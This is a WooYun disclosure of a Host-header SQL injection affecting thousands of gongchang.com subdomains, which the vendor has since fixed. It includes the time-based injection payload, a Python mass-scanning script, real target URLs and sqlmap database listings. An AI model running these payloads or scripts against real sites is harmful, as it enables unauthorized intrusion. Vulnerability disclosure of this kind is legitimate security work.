当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(5) 关注此漏洞

缺陷编号： WooYun-2014-78859

漏洞标题： 世界工厂网1W+用户站点存在SQL注入漏洞

相关厂商： 世界工厂网

漏洞作者： 海绵宝宝

提交时间： 2014-10-10 17:27

修复时间： 2014-10-17 11:08

公开时间： 2014-10-17 11:08

漏洞类型： SQL注射漏洞

危害等级： 中

自评Rank： 9

漏洞状态： 厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 注射技巧 host头注入

1人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-10-10： 细节已通知厂商并且等待厂商处理中
2014-10-10： 厂商已经确认，细节仅向厂商公开
2014-10-17： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

世界工厂网1W+的分站，存在同一处sql注入.
分站采用的是相同的CMS，所以数据量才会比较大.

详细说明：

0x0

注入点存在于host头.

访问时，用Tamper Data拦截，修改host头,测试语句

code 区域
if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/ =>



1.png



2.png



可以判断存在注入.

0x1

提取存在该漏洞的分站.

使用工具找出了1.2W+的分站url，初学python，就写了个python脚本，判断哪些网站存在该漏洞.

部分存在漏洞的url供于测试

code 区域
http://000572.cn.gongchang.com


http://000700.cn.gongchang.com


http://000835.cn.gongchang.com


http://007suv.cn.gongchang.com


http://020seahog.cn.gongchang.com


http://020zfc.cn.gongchang.com


http://021gchjx.cn.gongchang.com


http://023web.cn.gongchang.com


http://0242s.cn.gongchang.com



Python代码

code 区域
import urllib2 


import datetime


import linecache


i=1


while i<=12820:   #可以自定义从任意行数开始测试


	url=linecache.getline(r'D:\\1.txt',i)   #保存分站url的文件位置


	i=i+1


	print url


	request = urllib2.Request(url)  


	request.add_header('Host',"""if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/ => 


	""")             #测试使用的poc


	try:


		time1=datetime.datetime.now()


		response = urllib2.urlopen(request)	


	except urllib2.HTTPError,e:


		time2=datetime.datetime.now()	


		time3=(time2-time1).seconds


		if time3>=3:        #判断测试语句是否成功sleep3秒


			print 'ok'      #存在


			d=open('D:\\2.txt','a+')  #保存存在漏洞的url位置


			d.write(url)


				


		else:


			print 'no'



由于测试语句问题，可能会存在误报.

由于url太多，没有全部测试，在1.2W的url中测试了前2000个url，存在漏洞有1990个左右，因此判断在1.2W个url中，大约有1W+都存在该漏洞.



漏洞证明：

0x3

用sqlmap跑

3.png





available databases [23]:

[*] caijicompany

[*] caijiproductinfo

[*] catesearch

[*] cms

[*] empirecms

马赛克

[*] search

[*] test

修复方案：

host头也要做防范吧

版权声明：转载请注明来源 海绵宝宝@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2014-10-10 17:34

厂商回复：

感谢反馈，我们将积极排查并修复

最新状态：

2014-10-17：漏洞已修复

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-10-24 20:38 | 1c3z ( 普通白帽子 | Rank:297 漏洞数:63 | @)!^)
    1

    这也行！！ 涨知识了

    1# 回复此人

登录后才能发表评论，请先 登录 。